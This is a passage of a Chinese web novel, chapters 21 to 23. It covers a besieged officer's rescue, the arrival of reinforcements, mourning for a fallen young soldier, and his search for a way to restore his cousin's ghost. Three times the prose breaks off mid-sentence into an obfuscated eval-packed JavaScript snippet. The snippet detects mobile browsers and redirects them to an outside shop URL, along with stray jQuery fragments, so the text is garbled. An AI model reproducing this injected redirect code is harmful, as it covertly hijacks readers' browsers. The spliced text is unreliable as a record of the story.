修令曦半眯着眼,他微偏了偏头轻轻倚靠她的肩膀,大概是太冷了,他浑然觉得自己已经行将就木了,叹息着说:“怎么办?还没帮你找回魂之法,我就要死了。” 何怀幸连“呸”了几下,说:“二哥一定是福大命大,不会死的。你答应我的事情还没做到呢,怎么能就放弃,你必须撑住!” 修令曦无声笑了笑,却说:“说不定,我们能作伴。” “作什么伴!”何怀幸凶道:“我想活着啊!” “活着。” 修令曦嘴里念着这两个字,幽黑的荒山里看不见一点光,他只听到他的那些将士们冻到发颤的呼吸声,他们的身体蜷缩成一团一团的球状,可正是这些脆弱的身躯,一次又一次以自己的血肉为国朝筑起围墙,挡下那些铁蹄。 他想起出发前,他在营中对他们说:“众将士们为了救出我们的子民,我们必须跨过那道天堑,敌人的刀正架在我们的脖颈上,能退后吗?!” “不能!不能!不能!” “此战虽凶险,但我们一定活着回来,对不对!” “对!活着!活着——” 可是现在同袍们已经不到三分之一。 幽沉的寒夜中,锐利的箭头绞着血肉,修令曦又冷又痛,意识在寒气和疼痛中涣散,人是浮浮沉沉飘忽的,他的心里忽然由痛生出了一种恨,他恨自己,恨战争,恨大殿上那些高高坐着的人。 而最恨的最终还是他自己。 他喃喃呓语:“好冷。” 有人听见了他的声音,冷得哆哆嗦嗦跑过来,问:“校尉大人,您还好吗?” 这是一个很年轻的声音。 修令曦循声看过去,暗夜中他打哆走过来,在他身前蹲下握住他冰凉的手,微浅的暖意渗入皮肤进入血液,流向他的四肢百骸,他似乎又活过来了。 少年将士的眼睛在黑夜中明亮着,问:“有没有暖一些?” 修令曦点了点头,少年替他将身上的披风裹得更严实。 后半夜实在冷得不行,将士们也再睡不着了,蛮夷人入山吃了亏,此时也不会继续巡山了,有些将士就围成圈跳起了祝祷舞。 他们把动作放得很轻,无声无息地挥舞着四肢,摆动身体,像一群幽居深山里的幽灵。 如果有人此刻经过,一定会被眼前诡异的一幕吓得屁滚尿流。 何怀幸坐在地上,瞻仰着黑暗中那些模糊不清的面容,认真端详这支沉默的舞,心中只觉震撼和优美,那是一种沉重的破碎的美。 它带着希望。 她和修令曦被围在中间,何怀幸闭上了眼睛,虔诚祈祷,祝愿神明佑他们在极寒之夜能够逃出生天。 终于挺过了一夜。 翌日,天大晴。 将士们疯狂汲取阳光的温暖,他们趴在有暖阳的地方一动不动,想要把融化在身体里的寒意驱散出去。 修令曦昏昏沉沉睡过去,伤口已经更加严重了。 何怀幸时时刻刻留意着周围的动静,不敢松懈。 晌午时分,何怀幸察觉一阵窸窸窣窣的动静和极轻的脚步声。 ——有人在向他们靠近! 何怀幸连忙喊醒修令曦,他即刻下指令戒严。 众人屏息以待。 待人靠近,灌木丛后冒出的是一个女子身形。 何怀幸疑惑:“女子?” 蛮夷人在周边布下天罗地网,她是怎么进来的? 众人皆是一愣,修令曦肃色问道:“来者何人?” 她拍了拍身上的尘土,拜礼道:“黄岐山医修,杏林圣手曲秋云弟子王锦书。” 何怀幸没听过黄岐山的名号。 修令曦倒是略微知道一些,黄岐山杏林圣手曲秋云与穗德帝早年是至交好友,她一生痴迷医道,抛弃名门身份,入山不出,专研医术,后来收养了一些被抛弃的幼儿养在山中。 如逢山下大乱,百姓受伤病折磨,她便会带着弟子下山四处行医救助,在民间颇有声望。 气氛登时不同了,将士们心中松了口气,互相说道:“有救了、有救了。” 修令曦问:“姑娘是如何上来的?又是如何得知我们被困?” 王锦书走过来,回道:“我们和师父恰游至此,碰上出逃的百姓,得知将士们被困,那些人里面有个孩子恳求我们救人,说有个将军因为救她被射了一箭。蛮夷防守很严,所以只我一人偷潜上来了。” 何怀幸带着惊叹的眼神打量她,她莫约比何怀幸长几岁,脸是圆圆的小小的,但她很瘦,穿着简朴厚重的衣衫,挎着一个大布包站 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17349338|199583||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在那。 她目光清亮,一双眼睛炯炯有神,只是面容疲倦憔悴,身上衣裳脏兮兮的,想必是在山中摸索奔走了一夜。 何怀幸想到她孤身一人避开蛮夷人的视线潜入山中,又在深山里独自行走,只是为了救一个和她毫不相干的人,眼神顿时充满崇敬,她站起来眼睛一眨不眨地望着她。 这是一个何等顽强勇毅,有智慧有大善之人! 修令曦也深知其中不易,拱手道:“多谢姑娘大义之举。” 她颔首,并不多言道:“我先看看伤口吧。” 伤口已经恶化十分严重,王锦书皱眉,说:“要尽快取箭。” 她摆出用具,指挥道:“来个人扶他躺下,再几个人帮忙按住他手脚和身体。” 王锦书一脸镇定,说:“来之前麻沸散已经用完了,补充的药还在路上,来不及等了。我需要剔除腐肉,开创取箭头,会很痛,你要忍住。” “不必按,我可以。”修令曦望着被藤蔓和树冠荫蔽的天,说道:“所有人周边警戒。” “是!” 几个将士便松开了手,和其他人潜伏在周围,十分警惕地观察周围情况。 何怀幸跪坐在王锦书对面,静静看着她的操作,心里只感到莫名安心。 王锦书淡定取出刀,动作十分利落,下手又稳又快,剜去一圈腐肉,划开皮肤扩大创口,快速取出箭头,迅速撒上止血粉,按压伤口。 “还好吗?” 修令曦痛得脸色刷白,何怀幸的手覆在他手上,他调整呼吸,说:“还好。” 王锦书替他将伤口清理包扎好,从包里拿出一小块糖给他含在口中,唤了将士来替他穿衣,让他盖着披风躺在一旁休息。 紧接着王锦书又对其他受伤的将士们进行了处理,何怀幸坐在修令曦身旁,听着他讲黄岐山的事情,她的眼睛却始终注视王锦书忙碌的身影,没有离开过,看着她不停的清创、上药、包扎。 王锦书的包里有一块大糖饼,她掰成很小一块分给每个人。 荒山里没什么能吃的,只能靠一些树皮勉强维持生存,天又极冷,这一点糖对他们来说是救命的“药”。 王锦书忙到入夜,今日她消耗极大,又加上在山中走了一夜,现在也是饿得不行,只能安安静静坐在一旁练习师父教她的气功抵御严寒的夜晚。 由于没有进食,将士们已经没有什么体力,为了尽可能保存体力,他们夜间继续抱团取暖,不敢再多活动。 直到后半夜一阵浓烟呛醒了他们,守夜的将士连忙将众人喊醒。 “蛮夷人放火烧山了!快醒醒!快醒醒!” 修令曦立刻让人爬到高处观察情势。 周围火势迅猛,整座山头都被浓烟包裹,黑夜中火光冲天。 “所有人快往高处走!” 王锦书挎上布包跟紧修令曦。 月亮藏在厚重的云层里,只露出一圈朦胧光影,荒林里伸手不见五指,人影幢幢,在其中穿梭。 等到了山顶,又刮起北风,火势疾迅扩大,四周熊熊烈火将他们围困,他们只能往背风的山面走去以延长时间。 修令曦歉疚道:“王姑娘,拖累你了。” 王锦书遥望山下,神色淡淡,说:“天注定,无果。” 天光微晞,火势已经蔓延到山顶,所有人被浓烟熏得睁不开眼,无法呼吸。 修令曦把香囊揣在怀中艰难呼吸,他手握长枪,身长玉立,火光映照他双眸,他说:“怀幸,我要失信了。” 热浪越逼越近,所有人紧紧靠在一起,对生命的绝望和慷慨赴死之心交织。 何怀幸喉中一涩,站在他身边欲言又止,最后默然垂首,也只道:“二哥,我会陪着你的。” 正当这时,天下起了雨。雨点掉在修令曦脸上,顺着眼睑流下来。 清晨的雨越下越大,哗哗啦啦泼下来浇透了大火,湿润的泥土吸附了浓烟,散发芬芳的气味,一切被摧毁的,在这场突如其来的大雨里,似乎重焕生机。 将士们仰头欢呼,任豆大的雨点打在脸上。 王锦书在大雨中轻笑出声,脚下的黄土泥泞,泥点子沾到她裙摆和鞋面上。 何怀幸望着雨,雨穿透了她,潮湿了她身下的泥土,她回过头和修令曦对视,绷紧的心弦松开,由衷而叹:“命运,真是无常啊。” 21. 援军 大雨浇透了这片天地,修令曦手中握着银枪,雨雾重重里,他道:“天意有怜,必不负此机。” 雨还下个不停,整座山枯黑一片,放眼望去全是焦黑的树干,灌木已成灰烬,土地上覆盖着黑灰,有的树干被烧得厉害,已经碳化坍塌了,只剩他们周围还余有一些被热浪灼蔫吧的一丛丛枯黄的草木。 周边火灭了,修令曦让将士们找地方避雨。 将士们想寻找避雨之处,但无处可躲。寒雨浸透甲衣,钻进衣裳内,冷得人打牙颤,大家抱团缩在被烧焦的树下,勉强挡一挡雨。 他们只能等雨停。 修令曦和王锦书浑身湿透,捡了些枯枝将就着遮雨。 何怀幸想替王锦书挡雨,站在她边上,却奈何自己什么也帮不上。 众将士又冷又饿,加上身负重伤,被大雨这么一淋,难免萎靡不振。 这局面何怀幸不得不担心,心中愁绪百转千回。 援兵会提前赶来吗? 终于雨渐渐停了。 山火灭了,可视野也暴露了,蛮夷人一旦上山,他们避无可避,双方必定一场生死交战。 何怀幸站在山上眺望,蛮夷人得知消息已在山脚下集结,整座山都在他们的包围之下,兵力悬殊,仅凭他们想要杀出一条生路绝无可能。 修令曦立即指挥将士们进入战斗状态,所有人严阵以待,他下令伐了那些树干扔下山头,用来拖延时间,也能消耗敌军战力。 蛮夷人最终还是攻上山来。 修令曦长枪|刺破敌人的战甲,一簇红缨在空中翻飞。 “将士们!不要怕!记住你们是英雄!是国朝的太阳,是不朽的光辉!” “杀——” 杀喊声击破长空,久久回荡在山间。 下过雨的山路泥泞,泥水踩的飞溅,刀锋厮咬,银枪如龙。 王锦书被护在中间,修令曦也时刻留意不让敌人靠近她。 伤口血渗出得厉害。 刀枪剑戟的杀气混着血气沸腾。 数不清的刀刺透何怀幸的身体,许多人倒在她脚边,热血飞溅她双目,眼前绯红一片。 萧瑟的冷风呼过,交杂着黏腻湿润的雨气,阴云密布都垂在山头,压得人喘不过气。 忽然,不远处浮动着一点红,在昏暗的天色中尤其显眼。 那是援兵的旗帜。 修令曦长枪划过敌人的脖颈,他的战甲上血迹斑斑。 “云頫!” 听到一声呐喊,修令曦抬眸看见大军举着旗朝这边奔来。 随之而来的是漫天流矢,长弓的弦嘣一声,羽箭划破天际。 领头的是一个穿着银甲的男子,援兵上山后强行冲破包围圈,两边形成大弯弧向敌人包抄,又将修令曦等人完全与蛮夷边部隔离开来。 申无非提着横刀直直往修令曦身边杀去,见他面色苍白,问:“你怎么样?” 修令曦摇头,说:“多亏你救兵来的及时。” 申无非担心道:“你也太冒险了!” 修令曦解释道:“不挫一挫蛮夷人的锐气,他们只会更加嚣张,况且一县百姓都在他们手里,不能就这么放任不管,如果不突袭,很难打开他们的防线。” 申无非也知道这是无奈之举,幸亏他一路不停歇,好在是让他赶上了。 “难为你守着几日,蛮夷人这一门心思都在你这,才没空发觉我们援兵在路上。你进了他们的营地烧了他们的粮仓又放走了百姓,蛮夷人向来自傲,仗着他们如今势威,觉得我们能进他们的圈地,对他们来说简直是奇耻大辱,你的行径更是等于在他们脸上来回踩,他们恨不得把你千刀万剐才好,能挺到今日,已然是一桩奇迹。” “确是奇迹。全因我军甚勇,才能坚持到现在。” 言罢,两人立刻回归正题,相继与敌军厮杀起来。 看到援兵来了,王锦书当即给受伤严重的将士紧急医治。 半日后,蛮夷人被逼退到山腰,双方僵持不下。 王锦书记着修令曦的伤,趁此时大军的片刻喘息之际,连忙替他处理伤口。 伤口淋了雨恶化得更严重,加上大开大合的动作拉扯,原本上药后结的血痂破裂,血已经浸透了胸前衣襟。 “你怎么伤得这么重?”申无非吃了一惊,道:“看来我们得赶快入城,不能跟他们在山上这么耗。” 何怀幸在一旁惊魂未定,眼前浮现的全是利刃刀尖和纷飞的血花,透明的身躯阵痛不止,那些刀像是真的捅进身体一般。 药粉洒在伤口,修令曦痛得倒吸一口凉气,说:“虽然这几日蛮夷人损耗不小,但他们的兵力现在还是胜过我们。离荒山不远有道天堑,与其夺城,和他们来回打,不如倒逼一把,将他们一举歼灭。领兵侵略的是一个西部人,听说他们西部人是有信仰的,派些人散布他们烧山触怒山神,会被惩罚的言论出去。” 申无非道:“管用吗?他们有信仰还滥杀那么多无辜百姓?” 修令曦道:“对于他们来说可能并不冲突,他们信的是神祗,我们对于他们而言是异类。” “你说得对。”申无有些忧心,说:“但你的伤……” 修令曦说:“我的伤无碍,眼下最重要的是驱逐蛮夷。” 王锦书听到他的话手一顿,但也没有说话。 申无非颔首道:“行,那就奋力一击,送他们归西!” 修令曦见何怀幸呆呆的不动,暗声询问:“你怎么了?” 王锦书刚好转身去为其他将士看伤,只有申无非在旁边听见了。 “啊?”申无非回了句,“我没事呀。” 何怀幸缓缓回神,朝他摇头,两人都没说话了。 申无非一脸费解站在旁边。 修令曦指了指握着手里的香囊,何怀幸还是摇头。 他这才发现香囊一角浸上了血,想擦干净奈何手边没有干净的物什能用。 申无非注意到他手里的香囊,讶异道:“你居然带香囊?” 他挑眉问道:“哪家姑娘送你的?这么宝贝,打仗也带着。叫你得意,这下弄脏了不好交代了吧。” 修令曦眼神幽幽飘过去,说:“我家小妹。” “你小妹?”申无非恍然大悟,道:“哦~哦哦,原来如此,你不是和她们家闹掰了么,那她对你还挺好的,比那两兄弟好多了,那俩我看着就讨厌,也不知道你怎么就喜欢和他们在一块。” 修令曦就知道他想偏了,说:“不是你想的那个,是另外一个。” “哪一个?你们将军府还有别的姑娘?不就一个吗?” 申无非左思右想也没想到还有谁,一副八卦脸问道:“难不成大司马将军还在外面生了一个?那岂不是又多了个公主。” 修令曦睨了他一眼,“瞎说什么呢?” 他解释道:“是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17349339|199583||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我原先姑姑的女儿。” “那这我还真不知道。”申无非问:“她在京都?” 修令曦摇头。 申无非说:“难怪我不知道。” 他不知道此刻主人公就站在他对面看着他说话。 修令曦把香囊收好,没再多说,两人商量起后续的作战计划。 西城军发起猛攻,包围圈缩紧,步步逼退蛮夷人。 蛮夷人原本放火烧山想烧死西城军,却没成想最后关头竟然下了一场大雨。蛮夷边部分东西两部,西部人信仰山神,此举让他们认为是他们触怒了山神,西城军有神祇庇护才免遭劫难,加上援兵来到,西城军军心振奋,他们颇受打击,担心是山神的惩罚,因此蛮夷兵士气锐减,被紧逼到悬崖上。 蛮夷的首领名叫阿木尔,是个西部人,他选择了放弃抗争,希望能放他们走,他们可以保证今日退出圣国西境内。但军队里有半数以上是东部人,他们并不同意,双方意见不合,于是出现了分裂。 他们用蛮夷语激烈争吵,一名粗犷的士兵拿刀上去直接抹了首领阿木尔的脖子,与此同时爆发了内斗,他们自己和自己人在悬崖边打了起来,谁也没想到,生死危难关头他们会自己起内讧。 修令曦直接下令斩杀,蛮夷全军覆没。 回到城中,修令曦肃清城内敌军余孽,第二日捷报发出传至京都和北境。 全军在城内休整,逃出流亡的百姓听到胜利的号角接连返回,面对如今破壁残垣、家破人亡的情景,无人不涕泗横流,满城哀嚎不止。 修令曦下令让军中将士们协助城中百姓修葺居所,重建城内秩序。 曲秋云带着弟子们一直和逃亡的流民在一起,现下也跟着回了城内,王锦书顺利和师傅汇合,在城内施救伤民。 曲秋云年四十有五,岁月风霜刻在她眼尾,随着她眼眸弯曲的弧度,现出鱼纹状的褶皱。她领着几个弟子替那些受伤的将士和百姓治伤,还煎了祛寒的汤药给大家喝。 修令曦在府衙内养伤,除了原先的箭伤,又添了几道在手臂和后背。 新上任的县令丁成是原川人,被调任来此。他十分崇敬修文将军,虽然修令曦和大将军已非父子关系,但他仍有爱屋及乌之心,因而对他十分上心,不仅餐食丰富,还安排上好厢房。 “校尉大人和申军侯此番骁勇,着实令人敬佩,两位真真是少年英雄,意气风发啊。待诏书下来,二位更是平步青云,官路通亨,前途不可限量!” 申无非在战中伤了右臂,屈着一只手揖礼回道:“大人谬赞,为陛下效力理所应当,何谈其他。” 修令曦刚喝完药,抿唇说:“申军侯说的在理,都是为了百姓和国朝的安稳,众将士辛劳,还望大人多关照。” 丁成笑道:“这是一定的,放心、放心,那校尉您休息,下官就不多叨扰,有什么需要尽管吩咐。” 修令曦颔首致礼。 见他走了,申无非说:“这人很鬼呀,假模假样的。” 修令曦了然,道:“他和我父……和大司马将军有些私交。” 习惯的称呼差点脱口而出,修令曦及时收住,又道:“没想到他也在西城。” “我说呢。”申无非道:“你休息吧,我出去转转。” 修令曦:“嗯,你记得留意上报亡将抚恤金一事。” “行,我知道了。走了。” 申无非摆摆手离开。 22. 小水 修令曦见外面日头正好,命人取了皂粉和温水来。 他拆开香囊,里面的药草是单独用布包封起来的,上面打了死结。 修令曦拿出里面的药包,发现药袋上面有一处血迹,他比了比位置是正对香囊后面木樨绣纹处。 这可奇怪了,香囊外面并没有血迹,什么时候弄上的? 不是他的?那就是怀幸的?做香囊时留下的? 修令曦把香囊袋泡在水里,一点点搓洗上面的血渍,搓了大半个时辰才勉强洗到看不出来什么,他把香囊袋放到窗台上晒,草药包也放在一边,自己就坐在窗台下闭目养神。 日光明晃晃的照在他脸上,棱角分明的脸在光影下宛如神雕,半瞌的眸间透出琥珀色泽,双睫颤动似蝶影翻飞。 何怀幸凭空出现,叫醒了他。 “二哥。” 修令曦朦胧睁眼,露出一对温润的琥珀石。 修令曦单手倚着脑袋,被阳光晒得懒洋洋,“你休息好了?” “嗯。” 何怀幸眼睛盯着香囊发愣,似乎感受到光照的温暖。 修令曦伸出手,拿过药袋问:“这是不是你做香囊时受的伤?” 何怀幸仔细看了看,说:“不是,药袋放进去是干干净净的。” 她指指香囊,说:“背面绣的桂花样倒是被针扎了手沾了血用来掩盖的。这是你的血浸到里面了吧。” 修令曦说:“没有,我看了,只是香囊外面脏了,里面是没有的,就这一处。” 何怀幸倒觉得没什么所谓,说:“那可能是什么时候不小心弄上的,没发现罢,也没关系,放香囊袋子里也看不见。” 她又问:“这么久了,还有味道吗?没有就换一个药包吧。” “还有。”修令曦说。 “锦书现在去哪了?”何怀幸忽然问。 修令曦没想到她会问起王锦书,有些错愕,回:“同她师傅在城内四处医治伤者。” “杏林圣手曲秋云曲大夫也在?” “是。” 何怀幸心中很好奇这位不惧世俗的传奇女子。 “我想去看一看。” 修令曦:“好。” 何怀幸跟着他出了府衙大门,路上一具具尸体抬过,周围充斥哭喊叫丧的声音,沿街都挂起白幡,满城萧索。 何怀幸在一处角落看到了王锦书,她的旁边是一位面容慈和的妇女,她们穿着简素,一根素木簪挽发,蹲在地上正替一个不省人事的老妪施针。 待修令曦走近,王锦书才留意到他,朝他点头致意,算是回礼,曲秋云正在运针,她聚精会神盯得很认真。 没一会儿老人家就醒了,王锦书问道:“阿婆,你好些没有?有没有哪里不舒服?” 老妪沧桑的面容上流下两行清泪,哽咽道:“我没事的,真是多谢你们了,给你们添麻烦了。” 曲秋云轻轻握住她褶皱的手,宽慰道:“您可千万不要这么想,这是医家的职责。” 见她彻底清醒,王锦书扶着她起来,说:“地上凉,我们送您回去。” 修令曦赶忙上前搭手,老妪颤颤巍巍起身,她佝偻着背,满头白发。 一个青年脚步匆匆,远远跑过来道:“师傅,那边有个伤患突发急症,要您过去看看才行,我跟梁云都没主意。” 曲秋云随那名弟子去,走前道:“锦书,你先送婆婆回去。” 王锦书应道:“好的师傅。” 修令曦便和她一起把阿婆送回了家,到了老妪的家,两人扶她在塌上躺下休息,这才知道她没有家人了,在巷子口她是伤心过度,哭昏了过去,还是旁人路过发现的,连忙叫了曲大夫过来。 她的丈夫死在敌军突袭时,她两个儿子也都上了战场没回来,大儿子娶了妻,可是妻子和孩子都被蛮夷人杀了,小儿子是被迫应征入伍的,现在也没能回来,全家六口人,只剩下她一个老婆子。 她在巷子口就是等她的小儿子,想着能见他一面,却等来了死讯。 修令曦在泥墙上看到了一副画像,画上的年轻人朝气蓬勃,穿着盔甲,十分英气。 老妪道:“那就是我家小儿子,画是他专门托人画了送回来的,好让我能时常看见他。” 何怀幸望着画,忍不住抖了一下,不可名状的悲伤涌上心头。 这是那夜握住了修令曦手的少年。 修令曦显然也认出来了,他久久伫立在画像前不言语。 老婆婆觉察到他的异样,问:“公子认识我家小水?” 小水。 原来他叫小水。 修令曦犹如骨鲠在喉,艰难道:“是。” “你也是行伍中人?” “是。” 她哑着声音说:“神保佑你要平平安安的啊……有空也常来看看婆婆吧,好不好?” “好。” 她又问:“你可知,我家小水……勇否?” 修令曦嘴唇翕动,几乎说不出话来,半晌,哽咽道:“小水,勇冠三军。” “那就好,那就好啊。”她如是念着,擦了擦眼泪,又说:“我们家小水呀干什么都好,就是怕血,哎呀,他都不敢杀鸡,你不知道他大哥还在的时候,就经常笑话他胆小鬼,小水总是不服气的,这回两个人碰了面不会再吵了。” 修令曦再也忍不住,转过身眼泪夺眶而出,他拭去眼角的泪,回过身道:“对不起。” “你这孩子好端端怎么也哭了,好孩子呀你道什么歉?”老婆婆眼底浑浊,慢慢地道:“这都是命,是没法子的事。活着的人更要珍惜才是。” 王锦书静静坐在一旁没说话,她给阿婆掖了掖被角,说:“婆婆,你好好休息,我们会常来看你,要是有事你就到百草堂找我。师傅说要给你开药,晚点我给您送药过来。” 阿婆拉住她的手紧紧握住,感激道:“谢谢你呀姑娘,你和曲大夫真是大善人,前前后后救了我们多少人,老天会保佑你们的。” 王锦书回握那双苍老的手,说:“言重了,应该的,阿婆。” 王锦书替她合上院门,和修令曦并肩走出巷子。 “校尉不必过于自责,乱世立命,生死非谁能掌控。” 修令曦握紧了拳头,眼底通红,道:“如果是这样,能用我这条命平了这乱世也好。” 王锦书仰头望青空,融融冬日悬着,晒得人心里发芽。 “春天不远了。” …… 吉县那座被蛮夷烧毁的山,山顶葬着战死的将士们和城中蛮夷人杀害的百姓的尸体。 这几日县令丁成带着县衙的人上山种了许多树苗下去,灰烬中遍布新生。 这座山从此成为英雄冢。 安葬仪式那日,所有人匍匐在山脚下虔诚叩拜,绕着山一圈,跳了祝祷舞。 他们低吟祷词,姿态轻盈优美,而踏出的每一步又是那么沉重。那是与脚下土地的对话,他们呼喊着大地,呼喊着亡去的灵魂,用最神圣的表情传递出心底最诚挚的祝福。 长风吹不尽,山顶飘起的巾幡屹立不倒。 没有方向的风,四面八方吹来,何怀幸恍若听见了空阔的荒野上带来的回音,沉厚的嘶吼混着砂砾和浓烈的血腥味,她站在众人中,那些呢喃的低语像一张巨大的无形的网将她束住了。 从原川苍茫的戈壁走到乌城连绵的山脉,再到银城的碧草蓝天,又到如今的西城,荒山寒雨,生死几番命数。这一路她见过的天地,途径的风景,所见所闻是她从前一生也难企及的。 曾经她压在枕下的书卷,无数次躺在塌上的畅想,时至今日,她已经见识到了。 众生浅唱中,强烈的悲愤、不甘油然而生,没有任何时候她比现在更加希望她是活着的。 风穿透她的身体席卷而过,吹起的草木屑戳在人脸上生疼。送灵的队伍渐渐散了,活着的人还有很长的路要走,没有人能在时间的推磨中停留,他们各自归家,继续按部就班的做自己需 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17349340|199583||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 要去做的事情。 年关将至,京都的诏书传来,敕封申无非为关内侯,而修令曦却因冒险行事暂夺领兵权,自思己过。 郊外军营驻地。 申无非和修令曦在营帐内对坐,香囊依旧放在案几角落。 修令曦现在是个闲人,卸了甲穿着常服,他问道:“抚恤金的事情还没有着落吗?” 申无非无奈长叹一声,玩着手里的简牍,摇头不语。 修令曦:“你父亲怎么说?” 申无非撇嘴,说:“他说朝廷没钱。” 修令曦:“没钱?” 申无非换了姿势坐,支起一条腿,道:“反正讨论来讨论去,就是没钱。” 修令曦表情严峻,沉思不语,而后道:“我的俸禄都分出去,就当讨个彩头,让大家过个平安年。” 申无非睁大了眼睛,问:“全部?你有那么多?” “没有。但这些年都攒着没用,那就分出去吧。” 修令曦自己很少有什么地方用银钱,他既不好女色,也不好金银珠宝器物,衣食住行都能将就,这才存下些银钱,不过相比之下也只是九牛一毛罢了。 申无非惊呆了,说:“你可真是神,连银子也不爱,大农司合该你去做,也不至于拨不出抚恤的银子来。” 申无非心中对此也是怨念颇深,将士们在前线舍生忘死,最后马革裹尸,却连卖命的银子都捞不着。 修令曦尚在思过期,把银钱支给了申无非,事情全权交给他去办,借此时机自己轻装简行带着何怀幸深入蛮夷腹地,替她寻还魂之法。 广袤无垠的草原,衰草连天,远处群山覆雪,隐隐露出黑沉的棱角,粗犷的风卷着细小的雪粒扑面而来,辽阔荒野中马声嘶鸣。 蛮夷西部的牧民十分热情,冒着风雪带修令曦去找他们的大祭司。 祭司并不问他从何处哪里,躬着他伟岸的身躯缩在长案后,身上繁丽厚重的窄袖袍上缀满了各色玛瑙石,木桌上的油灯发出呲喇声,那双浑浊沧桑的眼睛不看修令曦,目光幽幽落在他空荡荡的身侧。 “所问何事?” 修令曦道:“可有游魂归身之法?” 何怀幸对上他的眼睛有一种暴露无遗的感觉。 火苗晃动,她的心一惊,这个人清楚她的存在! 大祭司半瞌眼,轻飘飘道:“无。” 何怀幸眼神一下黯淡了。 修令曦想再追问,祭司在他开口前道:“星曜轮回乃天道所归,她命轨已乱,凡有干涉者必降神罚于身,两位不必再问了。” 修令曦心里一阵发麻:“……天师,你能看见?” 大祭司摇头,“不能,公子请离开吧。” 雪下得更大,漫天雪色中,修令曦孤身牵马离去。 京都迟迟没有传来过康平公主的回信,修令曦再度书信给她。 之后修令曦解除思过令再复原职,也终于等来了康平公主的信。 「师叔,下落不明。」 信笺上的字,让何怀幸再度失望,从蛮夷西部回来后,她开始沉睡多过清醒,而后五年的时间辗转一晃眼,她已经不知今夕是何夕。 惠仁二十五年,修令曦?蹈锋饮血?单刀匹马踏过汝南河直取蛮夷东部领主的首级,自此蛮夷边部归降,圣国和蛮夷边部长达九年的纷争结束了,陛下敕封他为汝南王,统领西境兵权。 这夜修令曦收到康平公主的信。 「师叔暂归,速回京都。」 修令曦在等何怀幸现身想告诉她这个消息,他早已习惯身侧有她的陪伴,自从何怀幸的状态开始不稳定,修令曦悬着的心没有落下过,他很害怕有一天会彻底失去她,再也看不见她。 他们自小相识,又得遇奇缘,此后生死相伴从未分离,两人之间的羁绊早已经超越寻常表兄妹之间的血缘连接。 这些年他遍寻奇闻异事,想要找到还魂之法却始终未果,如今得到公主的消息,他迫不及待想赶回京都。 23. 魂灭 何怀幸幽幽然出现,她显得有些疲累,听到修令曦说公主回信一事也没什么情绪波动,反而问道:“二哥不比从前,如今陛下派你镇守西城,无召不得擅自离开,况且你身份特殊,贸然入京,陛下很难不怀疑你有别的举动,需得借个正经名头才行。” 修令曦如今已经是四王爷南宫苑名正言顺的继承人,是苑王府的世子,只是他自己不肯苟同,向陛下请命一生戍边,永不入宫城。 当然有不少人说他拿姿作态,故作清高,总之说什么的都有,众说纷纭,他根本没机会解释。 修令曦想了想,说:“老师生辰在八月,现下军中无事,我提前进京替老师贺寿未尝不可。我现在就立即手书一封快马加鞭急送到都城向陛下陈明,如此便可打消他们的疑心。” 修令曦说着便立刻写信,又让人唤了申无非来。 申无非一脸疑虑,“这么突然的决定,你是不是有什么事瞒我?” 等话的间隙,他随意翻着修令曦案上的书,除了兵书之外就是一些奇闻怪谈,他随手拿出一本打开。 “你怎么还信这些,都是瞎编的。” 这本《鬼怪志谈》是前几日修令曦在夜市里淘来的,关于鬼神一事,从前他向来敬而远之,未能事人,焉能事鬼? 可当他想到怀幸,还是下意识希望,像书里说的那样,她能重返人间。 人总是这么矛盾。 见他没说话,申无非又顺手去拿修令曦桌案上的香囊摆弄。 “云頫这香囊是有什么特殊的意义吗?好像从你入军我就见过,你这么喜欢这个香囊?我瞧这绣工,”申无非啧啧几声,十分嫌弃,继续说:“实在丑陋了些。” 何怀幸双手环抱,一听这话瞪大眼睛,气得翻白眼,骂道:“关你屁事。” 修令曦听到她的粗话,一时想笑,忍住了,轻轻摇头,似有些不好意思道:“没什么特殊意义,只是习惯了,算是我个人奇怪的癖好吧,这香囊从我十岁起就放在书案上,有时习惯性抬头看两眼,要是看不见,总感觉少点什么。” “你这倒真是个怪癖。”申无非咂舌,又道:“不过你这东西惹得军中那些将士,编排了你不少轶事。” 修令曦语气很淡,听不出什么情绪,随口问道:“都编排了些什么。” “那我可说了,你可别骂我。”申无非又解释道:“军中没什么乐子,他们也是说来给大家解解闷,没别的意思。” 修令曦不是那般不近人情的人,不在意道:“无碍,只要不影响军中秩序,不危言耸听,刻意散播谣言扰乱军心,私下编排我解乏,能博大家一乐,无伤大雅,我自无异议。” “那我可就说了。” 见修令曦颔首许可,申无非轻咳一声,说:“这第一个版本……” “等等……”修令曦一听,看样子还不止一个版本,不禁问道:“无非,一共有几个版本?” “额……就三个版本。” 